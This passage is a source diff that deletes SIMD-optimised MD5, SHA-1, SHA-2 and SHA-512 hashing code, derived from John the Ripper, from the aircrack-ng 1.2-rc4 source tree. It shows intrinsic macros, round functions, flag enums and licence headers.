-	SHA512_STEP(h, a, b, c, d, e, f, g, 65, 0xd186b8c721c0c207ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 66, 0xeada7dd6cde0eb1eULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 67, 0xf57d4f7fee6ed178ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 68, 0x06f067aa72176fbaULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 69, 0x0a637dc5a2c898a6ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 70, 0x113f9804bef90daeULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 71, 0x1b710b35131c471bULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 72, 0x28db77f523047d84ULL);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA384))
-	{
-		SHA512_PARA_DO(i)
-		{
-			vstore((vtype*)&(out[i*8*VS64+0*VS64]), h[i]);
-		}
-		return;
-	}
-
-	SHA512_STEP(h, a, b, c, d, e, f, g, 73, 0x32caab7b40c72493ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 74, 0x3c9ebe0a15c9bebcULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 75, 0x431d67c49c100d4cULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 76, 0x4cc5d4becb3e42b6ULL);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		SHA512_PARA_DO(i)
-		{
-			vstore((vtype*)&(out[i*8*VS64+3*VS64]), d[i]);
-		}
-		return;
-	}
-
-	SHA512_STEP(d, e, f, g, h, a, b, c, 77, 0x597f299cfc657e2aULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 78, 0x5fcb6fab3ad6faecULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 79, 0x6c44198c4a475817ULL);
-
-	if (SSEi_flags & SSEi_RELOAD) {
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA512_PARA_DO(i)
-			{
-				a[i] = vadd_epi64(a[i],vload((vtype*)&reload_state[i*16*VS64+0*VS64]));
-				b[i] = vadd_epi64(b[i],vload((vtype*)&reload_state[i*16*VS64+1*VS64]));
-				c[i] = vadd_epi64(c[i],vload((vtype*)&reload_state[i*16*VS64+2*VS64]));
-				d[i] = vadd_epi64(d[i],vload((vtype*)&reload_state[i*16*VS64+3*VS64]));
-				e[i] = vadd_epi64(e[i],vload((vtype*)&reload_state[i*16*VS64+4*VS64]));
-				f[i] = vadd_epi64(f[i],vload((vtype*)&reload_state[i*16*VS64+5*VS64]));
-				g[i] = vadd_epi64(g[i],vload((vtype*)&reload_state[i*16*VS64+6*VS64]));
-				h[i] = vadd_epi64(h[i],vload((vtype*)&reload_state[i*16*VS64+7*VS64]));
-			}
-		}
-		else
-		{
-			SHA512_PARA_DO(i)
-			{
-				a[i] = vadd_epi64(a[i],vload((vtype*)&reload_state[i*8*VS64+0*VS64]));
-				b[i] = vadd_epi64(b[i],vload((vtype*)&reload_state[i*8*VS64+1*VS64]));
-				c[i] = vadd_epi64(c[i],vload((vtype*)&reload_state[i*8*VS64+2*VS64]));
-				d[i] = vadd_epi64(d[i],vload((vtype*)&reload_state[i*8*VS64+3*VS64]));
-				e[i] = vadd_epi64(e[i],vload((vtype*)&reload_state[i*8*VS64+4*VS64]));
-				f[i] = vadd_epi64(f[i],vload((vtype*)&reload_state[i*8*VS64+5*VS64]));
-				g[i] = vadd_epi64(g[i],vload((vtype*)&reload_state[i*8*VS64+6*VS64]));
-				h[i] = vadd_epi64(h[i],vload((vtype*)&reload_state[i*8*VS64+7*VS64]));
-			}
-		}
-	} else {
-		if (SSEi_flags & SSEi_CRYPT_SHA384) {
-			SHA512_PARA_DO(i)
-			{
-				/* SHA-384 IV */
-				a[i] = vadd_epi64(a[i], vset1_epi64(0xcbbb9d5dc1059ed8ULL));
-				b[i] = vadd_epi64(b[i], vset1_epi64(0x629a292a367cd507ULL));
-				c[i] = vadd_epi64(c[i], vset1_epi64(0x9159015a3070dd17ULL));
-				d[i] = vadd_epi64(d[i], vset1_epi64(0x152fecd8f70e5939ULL));
-				e[i] = vadd_epi64(e[i], vset1_epi64(0x67332667ffc00b31ULL));
-				f[i] = vadd_epi64(f[i], vset1_epi64(0x8eb44a8768581511ULL));
-				g[i] = vadd_epi64(g[i], vset1_epi64(0xdb0c2e0d64f98fa7ULL));
-				h[i] = vadd_epi64(h[i], vset1_epi64(0x47b5481dbefa4fa4ULL));
-			}
-		} else {
-			SHA512_PARA_DO(i)
-			{
-				/* SHA-512 IV */
-				a[i] = vadd_epi64(a[i], vset1_epi64(0x6a09e667f3bcc908ULL));
-				b[i] = vadd_epi64(b[i], vset1_epi64(0xbb67ae8584caa73bULL));
-				c[i] = vadd_epi64(c[i], vset1_epi64(0x3c6ef372fe94f82bULL));
-				d[i] = vadd_epi64(d[i], vset1_epi64(0xa54ff53a5f1d36f1ULL));
-				e[i] = vadd_epi64(e[i], vset1_epi64(0x510e527fade682d1ULL));
-				f[i] = vadd_epi64(f[i], vset1_epi64(0x9b05688c2b3e6c1fULL));
-				g[i] = vadd_epi64(g[i], vset1_epi64(0x1f83d9abfb41bd6bULL));
-				h[i] = vadd_epi64(h[i], vset1_epi64(0x5be0cd19137e2179ULL));
-			}
-		}
-	}
-
-	if (SSEi_flags & SSEi_FLAT_OUT) {
-		SHA512_PARA_DO(i)
-		{
-			uint64_t *o = (uint64_t*)&out[i*8*VS64];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi64(7<<3, 6<<3, 5<<3, 4<<3,
-			                        3<<3, 2<<3, 1<<3, 0<<3);
-
-			vscatter_epi64(o + 0, idxs, vswap64(a[i]), 8);
-			vscatter_epi64(o + 1, idxs, vswap64(b[i]), 8);
-			vscatter_epi64(o + 2, idxs, vswap64(c[i]), 8);
-			vscatter_epi64(o + 3, idxs, vswap64(d[i]), 8);
-			vscatter_epi64(o + 4, idxs, vswap64(e[i]), 8);
-			vscatter_epi64(o + 5, idxs, vswap64(f[i]), 8);
-			vscatter_epi64(o + 6, idxs, vswap64(g[i]), 8);
-			vscatter_epi64(o + 7, idxs, vswap64(h[i]), 8);
-#else
-			uint64_t j, k;
-			union {
-				vtype v[8];
-				uint64_t s[8 * VS64];
-			} tmp;
-
-			tmp.v[0] = vswap64(a[i]);
-			tmp.v[1] = vswap64(b[i]);
-			tmp.v[2] = vswap64(c[i]);
-			tmp.v[3] = vswap64(d[i]);
-			tmp.v[4] = vswap64(e[i]);
-			tmp.v[5] = vswap64(f[i]);
-			tmp.v[6] = vswap64(g[i]);
-			tmp.v[7] = vswap64(h[i]);
-
-			for (j = 0; j < VS64; j++)
-				for (k = 0; k < 8; k++)
-					o[j*8+k] = tmp.s[k*VS64+j];
-#endif
-		}
-	}
-	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) {
-			SHA512_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*32*VS64+0*VS64], a[i]);
-				vstore((vtype*)&out[i*32*VS64+1*VS64], b[i]);
-				vstore((vtype*)&out[i*32*VS64+2*VS64], c[i]);
-				vstore((vtype*)&out[i*32*VS64+3*VS64], d[i]);
-				vstore((vtype*)&out[i*32*VS64+4*VS64], e[i]);
-				vstore((vtype*)&out[i*32*VS64+5*VS64], f[i]);
-				vstore((vtype*)&out[i*32*VS64+6*VS64], g[i]);
-				vstore((vtype*)&out[i*32*VS64+7*VS64], h[i]);
-			}
-		} else {
-			SHA512_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*16*VS64+0*VS64], a[i]);
-				vstore((vtype*)&out[i*16*VS64+1*VS64], b[i]);
-				vstore((vtype*)&out[i*16*VS64+2*VS64], c[i]);
-				vstore((vtype*)&out[i*16*VS64+3*VS64], d[i]);
-				vstore((vtype*)&out[i*16*VS64+4*VS64], e[i]);
-				vstore((vtype*)&out[i*16*VS64+5*VS64], f[i]);
-				vstore((vtype*)&out[i*16*VS64+6*VS64], g[i]);
-				vstore((vtype*)&out[i*16*VS64+7*VS64], h[i]);
-			}
-		}
-	}
-	else
-	{
-		SHA512_PARA_DO(i)
-		{
-			vstore((vtype*)&(out[i*8*VS64+0*VS64]), a[i]);
-			vstore((vtype*)&(out[i*8*VS64+1*VS64]), b[i]);
-			vstore((vtype*)&(out[i*8*VS64+2*VS64]), c[i]);
-			vstore((vtype*)&(out[i*8*VS64+3*VS64]), d[i]);
-			vstore((vtype*)&(out[i*8*VS64+4*VS64]), e[i]);
-			vstore((vtype*)&(out[i*8*VS64+5*VS64]), f[i]);
-			vstore((vtype*)&(out[i*8*VS64+6*VS64]), g[i]);
-			vstore((vtype*)&(out[i*8*VS64+7*VS64]), h[i]);
-		}
-	}
-}
-
-#endif /* SIMD_PARA_SHA512 */

aircrack-ng-1.2-rc4.tar.gz/src/simd-intrinsics.h Deleted

@@ -1,178 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>, and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without modification, are permitted.
- *
- * Some modifications, Jim Fougeron, 2013.  Licensing rights listed in accompanying simd-intrinsics.c file.
- */
-
-#if !defined (__JTR_SSE_INTRINSICS_H__)
-#define __JTR_SSE_INTRINSICS_H__
-
-#if (SIMD_COEF_32 && SIMD_COEF_32 == 2) || !SIMD_COEF_32
-#undef SIMD_TYPE
-#define SIMD_TYPE			""
-#undef SIMD_COEF_32
-#endif
-
-#include "jcommon.h"
-#include "pseudo_intrinsics.h"
-#include "simd-intrinsics-load-flags.h"
-#include "aligned.h"
-
-#ifndef _EMMINTRIN_H_INCLUDED
-#define __m128i void
-#endif
-#define vtype void
-
-#define STRINGIZE2(s) #s
-#define STRINGIZE(s) STRINGIZE2(s)
-
-#if __ALTIVEC__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "AltiVec"
-#elif __ARM_NEON__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "NEON"
-#elif __MIC__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "MIC"
-#elif __AVX512F__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "AVX512F"
-#elif __AVX2__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "AVX2"
-#elif __XOP__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "XOP"
-#elif __AVX__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "AVX"
-#elif __SSE4_1__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "SSE4.1"
-#elif __SSSE3__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "SSSE3"
-#elif __SSE2__
-#undef SIMD_TYPE
-#define SIMD_TYPE            "SSE2"
-#elif SIMD_COEF_32
-#undef SIMD_TYPE
-#define SIMD_TYPE            "MMX" // not really supported
-#endif
-
-#if SIMD_COEF_32 == 16
-#define BITS				"512/512"
-#elif SIMD_COEF_32 == 8
-#define BITS				"256/256"
-#elif SIMD_COEF_32 == 4
-#define BITS				"128/128"
-#elif SIMD_COEF_32 == 2
-#define BITS				"64/64"
-#endif
-
-#ifdef SIMD_PARA_MD5
-void md5cryptsse(unsigned char *buf, unsigned char *salt, char *out, unsigned int md5_type);
-void SIMDmd5body(vtype* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags);
-void md5_reverse(uint32_t *hash);
-void md5_unreverse(uint32_t *hash);
-#define MD5_ALGORITHM_NAME		BITS " " SIMD_TYPE " " MD5_N_STR
-#else
-#define MD5_ALGORITHM_NAME		"32/" ARCH_BITS_STR
-#endif
-
-#ifdef SIMD_PARA_MD4
-//void SIMDmd4body(__m128i* data, unsigned int *out, int init);
-void SIMDmd4body(vtype* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags);
-void md4_reverse(uint32_t *hash);
-void md4_unreverse(uint32_t *hash);
-#define MD4_ALGORITHM_NAME		BITS " " SIMD_TYPE " " MD4_N_STR
-#else
-#define MD4_ALGORITHM_NAME		"32/" ARCH_BITS_STR
-#endif
-
-#ifdef SIMD_PARA_SHA1
-void SIMDSHA1body(vtype* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags);
-void sha1_reverse(uint32_t *hash);
-void sha1_unreverse(uint32_t *hash);
-#define SHA1_ALGORITHM_NAME		BITS " " SIMD_TYPE " " SHA1_N_STR
-#else
-#define SHA1_ALGORITHM_NAME		"32/" ARCH_BITS_STR
-#endif
-
-// we use the 'outter' SIMD_COEF_32 wrapper, as the flag for SHA256/SHA512.  FIX_ME!!
-#if SIMD_COEF_32 > 1
-
-#ifdef SIMD_COEF_32
-#define SHA256_ALGORITHM_NAME	BITS " " SIMD_TYPE " " SHA256_N_STR
-void SIMDSHA256body(vtype* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags);
-void sha224_reverse(uint32_t *hash);
-void sha224_unreverse(uint32_t *hash);
-void sha256_reverse(uint32_t *hash);
-void sha256_unreverse();
-#endif
-
-#ifdef SIMD_COEF_64
-#define SHA512_ALGORITHM_NAME	BITS " " SIMD_TYPE " " SHA512_N_STR
-void SIMDSHA512body(vtype* data, ARCH_WORD_64 *out, ARCH_WORD_64 *reload_state, unsigned SSEi_flags);
-void sha384_reverse(ARCH_WORD_64 *hash);
-void sha384_unreverse(ARCH_WORD_64 *hash);
-void sha512_reverse(ARCH_WORD_64 *hash);
-void sha512_unreverse();
-#endif
-
-#else
-#if ARCH_BITS >= 64
-#define SHA256_ALGORITHM_NAME                 "64/" ARCH_BITS_STR " " SHA2_LIB
-#define SHA512_ALGORITHM_NAME                 "64/" ARCH_BITS_STR " " SHA2_LIB
-#else
-#define SHA256_ALGORITHM_NAME                 "32/" ARCH_BITS_STR " " SHA2_LIB
-#define SHA512_ALGORITHM_NAME                 "32/" ARCH_BITS_STR " " SHA2_LIB
-#endif
-
-#endif
-
-#undef vtype /* void */
-
-#endif // __JTR_SSE_INTRINSICS_H__

aircrack-ng-1.2-rc4.tar.gz/src/sse-intrinsics-load-flags.h Deleted

@@ -1,81 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * New flags added for sha2 by JimF 2013. This change, and
- * all other modifications to this file by Jim are released with the following terms:
- * No copyright is claimed, and the software is hereby placed in the public domain.
- * In case this attempt to disclaim copyright and place the software in the public
- * domain is deemed null and void, then the software is Copyright (c) 2011 JimF
- * and it is hereby released to the general public under the following
- * terms: This software may be modified, redistributed, and used for any
- * purpose, in source and binary forms, with or without modification.
- */
-
-#ifndef __SSE_INTRINS_LOAD_FLAGS__
-#define __SSE_INTRINS_LOAD_FLAGS__
-
-/***************************************************************
- * WARNING!!!! any changes to these numbers requires a new
- * build of sse-intrinsics-32.S and sse-intrinsics-64.S
- ***************************************************************/
-
-typedef enum {
-	SSEi_MIXED_IN=0x0,           // input is an array of 16 __m128i ints that are properly SSE interleaved.  This is for 4 passwords (or 2 for 64 bit crypts). The data will be copied into a on the stack workspace
-	SSEi_FLAT_IN=0x1,            // input is an array of 4 64 (2 128 for 64 bit crypts) byte 'flat' values, instead of a properly SSE 'mixed' 64 uint32's.
-	/****  NOTE, only 1 of the above 2 can be used, AND the buffer must properly match.  ****/
-	SSEi_RELOAD=0x2,             // crypt key will be results of last crypt
-	SSEi_RELOAD_INP_FMT=0x6,     // (note contains SSEi_RELOAD bit also, it is 2&4) crypt key will be results of last crypt, however, it is in 'INPUT' format. Will not matter, unless PARA > 1
-	SSEi_OUTPUT_AS_INP_FMT=0x8,  // Write final output, using 'INPUT' format. Will not matter, unless PARA > 1
-	SSEi_SWAP_FINAL=0x10,        // swap results into machine native endianity.  Normally, results are left in crypt endianity
-	SSEi_SKIP_FINAL_ADD=0x20,    // do NOT do a=a+init. ONLY valid if not doing reload, AND if format did out[0]-=init in binary.
-	SSEi_2BUF_INPUT=0x40,        // input array is 2x in size.
-	SSEi_2BUF_INPUT_FIRST_BLK=(0x40|0x80),  // input array 2x in size.  This is the first block, so we MUST rotate element 14/15 if in flat mode.
-	SSEi_4BUF_INPUT=0x100,        // input array is 4x in size (This is seen in the dynamic type, for sha256. We have 256 byte input buffers there).
-	SSEi_4BUF_INPUT_FIRST_BLK=(0x100|0x200),  // input array 4x in size.  This is the first block, so we MUST rotate element 14/15 if in flat mode.
-
-	// this are specific to SHA2 hashes. Can be the same bit, since only 1 will be used (i.e. it is not valid to do SSE_CRYPT_SHA224|SSE_CRYPT_SHA224 and expect both to be loaded)
-	// WARNING, SHA224 requires a FULL SHA256 width output buffer, and SHA384 requires a full SHA512 width output buffer.  This is to allow proper reloading and doing multi-limb crypts.
-	SSEi_CRYPT_SHA224=0x1000,     // use SHA224 IV.
-	SSEi_CRYPT_SHA384=0x1000      // use SHA384 IV.
-} SSEi_FLAGS;
-
-
-#endif /* __SSE_INTRINS_LOAD_FLAGS__  */

aircrack-ng-1.2-rc4.tar.gz/src/sse-intrinsics.c Deleted

@@ -1,2212 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>,
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * New (optional) SHA1 version by JimF 2011, using 16x4 buffer. This change, and
- * all other modifications to this file by Jim are released with the following terms:
- * No copyright is claimed, and the software is hereby placed in the public domain.
- * In case this attempt to disclaim copyright and place the software in the public
- * domain is deemed null and void, then the software is Copyright (c) 2011 JimF
- * and it is hereby released to the general public under the following
- * terms: This software may be modified, redistributed, and used for any
- * purpose, in source and binary forms, with or without modification.
- *
- * Use of XOP intrinsics added by Solar Designer, 2012.
- *
- * SHA-2 Copyright 2013, epixoip. Redistribution and use in source and binary
- * forms, with or without modification, are permitted provided that
- * redistribution of source retains the above copyright.
- *
- * JimF, 2013:
- * Rewrote SHA-256 function code These improvements over original code found in
- * rawSHA256_ng_fmt.c (copywrite epixoip) are:
- *    SHA256 and SHA224 support.
- *    Multi block support (reload state from prior crypt)
- *    handle either flat, and SSE interleaved input buffers.
- *    Optional un-BE of results (normally not done).
- *    integration support (simply include "sse-intrinsics.h"
- *    #defines for algorithm name
- *    Output is in interleaved SSE format.
- *    OMP safe (output structure would have been a problem as implemented in
- *    raw_SHA256_ng_fmt.c) Code only requires [16] element array.  Original
- *    code required [64] elements. Optionally perform final +=.  This can be
- *    eliminated, and only done at binary load (by doing a minus equal there
- *    of the IV). It only works on 1 limb crypts.
- * Ported SHA512, added SHA384.  Code still 50% original epixoip code (from
- *    raw-SHA512_ng_fmt.c) added all setup and tear down logic, to do multi-block,
- *    sha384, flat or interleaved, OMP safe optional un-BE, optional final add of
- *    original vector (the +=).
- */
-
-#include "arch.h"
-#include <string.h>
-#include <emmintrin.h>
-#ifdef __XOP__
-#include <x86intrin.h>
-#elif defined __SSE4_1__
-#include <smmintrin.h>
-#elif defined __SSSE3__
-#include <tmmintrin.h>
-#endif
-
-#include "memory.h"
-#include "md5.h"
-//#include "MD5_std.h"
-#include "stdint.h"
-#include "johnswap.h"
-#include "sse-intrinsics-load-flags.h"
-
-#include "memdbg.h"
-
-#if defined (_MSC_VER) && !defined (_M_X64)
-/* These are slow, but the F'n 32 bit compiler will not build these intrinsics.
-   Only the 64-bit (Win64) MSVC compiler has these as intrinsics. These slow
-   ones let me debug, and develop this code, and work, but use CPU */
-_inline __m128i _mm_set_epi64x (long long a, long long b)
-{
-	__m128i x; x.m128i_i64[0] = b; x.m128i_i64[1] = a;
-	return x;
-}
-_inline __m128i _mm_set1_epi64x(long long a)
-{
-	__m128i x; x.m128i_i64[0] = x.m128i_i64[1] = a;
-	return x;
-}
-#endif
-
-#if defined(__GNUC__) && !defined(__INTEL_COMPILER) && !defined(__clang__) && !defined(__llvm__) && !defined (_MSC_VER)
-#pragma GCC optimize 3
-#endif
-
-#ifdef __XOP__
-// for non XOP, we have a 'special' 16 bit roti. So we simply define
-// it back to the real roti intrinsic.
-#define _mm_roti16_epi32	_mm_roti_epi32
-#else
-  #define _mm_slli_epi32a(a, s)		\
-	((s) == 1 ?						\
-		_mm_add_epi32((a), (a))		\
-	:								\
-		_mm_slli_epi32((a), (s)))
-
-  #define _mm_cmov_si128(y,z,x)		\
-	(_mm_xor_si128(z, _mm_and_si128(x, _mm_xor_si128 (y,z))))
-
-  // XOP roti must handle both ROTL and ROTR. If s < 0, then ROTR. Else ROTL
-  // There's a specialized rotate16, which is specialized for ssse3+
-  #define _mm_roti_epi32(a, s)													\
-	((s) < 0 ?																	\
-		_mm_or_si128(_mm_srli_epi32((a), ~(s)+1), _mm_slli_epi32a((a),32+(s)))	\
-	:																			\
-		_mm_or_si128(_mm_slli_epi32a((a), (s)), _mm_srli_epi32((a), 32-(s))))
-
-  // 64 bit roti  (both ROTL and ROTR handled)
-  #define _mm_roti_epi64(a, s)													\
-	((s) < 0 ?																	\
-		_mm_or_si128(_mm_srli_epi64((a), ~(s)+1), _mm_slli_epi64((a),64+(s)))	\
-	:																			\
-		_mm_or_si128(_mm_slli_epi64((a), (s)), _mm_srli_epi64((a), 64-(s))))
-
-  #ifdef __SSSE3__
-    #define rot16_mask				\
-		_mm_set_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302)
-
-    #define _mm_roti16_epi32(a,s)	\
-		(_mm_shuffle_epi8((a), rot16_mask))
-  #else
-    #define _mm_roti16_epi32(a,s)		\
-		(_mm_shufflelo_epi16(_mm_shufflehi_epi16((a), 0xb1), 0xb1))
-  #endif
-#endif
-
-#ifdef __SSSE3__
-
-#ifndef __XOP__
-  #define rot16_mask				\
-	_mm_set_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302)
-
-  #define _mm_roti16_epi32(a,s)	\
-	(_mm_shuffle_epi8((a), rot16_mask))
-#endif
-
-  #define swap_endian_mask		\
-	_mm_set_epi32(0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203)
-  #define swap_endian64_mask		\
-	_mm_set_epi64x(0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL)
-
-  #define SWAP_ENDIAN(n)			\
-	(n = _mm_shuffle_epi8(n, swap_endian_mask))
-  #define SWAP_ENDIAN64(n)		\
-	(n = _mm_shuffle_epi8(n, swap_endian64_mask))
- #else
-  #define SWAP_ENDIAN(n)			\
-	(n = _mm_xor_si128(				\
-		_mm_srli_epi16(				\
-			_mm_roti16_epi32(n,16), 8),	\
-			_mm_slli_epi16(_mm_roti16_epi32(n,16), 8)))
-  #define SWAP_ENDIAN64(n)                                                \
-  {                                                                       \
-    n = _mm_shufflehi_epi16 (_mm_shufflelo_epi16 (n, 0xb1), 0xb1);        \
-    n = _mm_xor_si128 (_mm_slli_epi16 (n, 8), _mm_srli_epi16 (n, 8));     \
-    n = _mm_shuffle_epi32 (n, 0xb1);                                      \
-  }
-#endif
-
-#ifdef __SSE4_1__
-#define GATHER_4x(x, y, z)                      \
-{                                               \
-    x = _mm_cvtsi32_si128 (   y[z]   );         \
-    x = _mm_insert_epi32  (x, y[z+(1<<6)], 1);  \
-    x = _mm_insert_epi32  (x, y[z+(2<<6)], 2);  \
-    x = _mm_insert_epi32  (x, y[z+(3<<6)], 3);  \
-}
-#define GATHER_2x(x, y, z)                      \
-{                                               \
-    x = _mm_cvtsi32_si128 (   y[z]   );         \
-    x = _mm_insert_epi32  (x, y[z+(1<<5)], 1);  \
-    x = _mm_insert_epi32  (x, y[z+(2<<5)], 2);  \
-    x = _mm_insert_epi32  (x, y[z+(3<<5)], 3);  \
-}
-#define GATHER(x, y, z)                         \
-{                                               \
-    x = _mm_cvtsi32_si128 (   y[z]   );    \
-    x = _mm_insert_epi32  (x, y[z+(1<<4)], 1);  \
-    x = _mm_insert_epi32  (x, y[z+(2<<4)], 2);  \
-    x = _mm_insert_epi32  (x, y[z+(3<<4)], 3);  \
-}
-#endif
-#define GATHER64(x,y,z)		{x = _mm_set_epi64x (y[1][z], y[0][z]);}
-
-
-#ifndef MMX_COEF
-#define MMX_COEF 4
-#endif
-
-#ifdef MD5_SSE_PARA
-#define MD5_SSE_NUM_KEYS	(MMX_COEF*MD5_SSE_PARA)
-#define MD5_PARA_DO(x)	for((x)=0;(x)<MD5_SSE_PARA;(x)++)
-
-#define MD5_F(x,y,z) \
-	MD5_PARA_DO(i) tmp[i] = _mm_cmov_si128((y[i]),(z[i]),(x[i]));
-
-#define MD5_G(x,y,z) \
-	MD5_PARA_DO(i) tmp[i] = _mm_cmov_si128((x[i]),(y[i]),(z[i]));
-
-#define MD5_H(x,y,z) \
-	MD5_PARA_DO(i) tmp[i] = _mm_xor_si128((y[i]),(z[i])); \
-	MD5_PARA_DO(i) tmp[i] = _mm_xor_si128((tmp[i]),(x[i]));
-
-#define MD5_I(x,y,z) \
-	MD5_PARA_DO(i) tmp[i] = _mm_andnot_si128((z[i]), mask); \
-	MD5_PARA_DO(i) tmp[i] = _mm_or_si128((tmp[i]),(x[i])); \
-	MD5_PARA_DO(i) tmp[i] = _mm_xor_si128((tmp[i]),(y[i]));
-
-#define MD5_STEP(f, a, b, c, d, x, t, s) \
-	MD5_PARA_DO(i) a[i] = _mm_add_epi32( a[i], _mm_set_epi32(t,t,t,t) ); \
-	f((b),(c),(d)) \
-	MD5_PARA_DO(i) a[i] = _mm_add_epi32( a[i], tmp[i] ); \
-	MD5_PARA_DO(i) a[i] = _mm_add_epi32( a[i], data[i*16+x] ); \
-	MD5_PARA_DO(i) a[i] = _mm_roti_epi32( a[i], (s) ); \
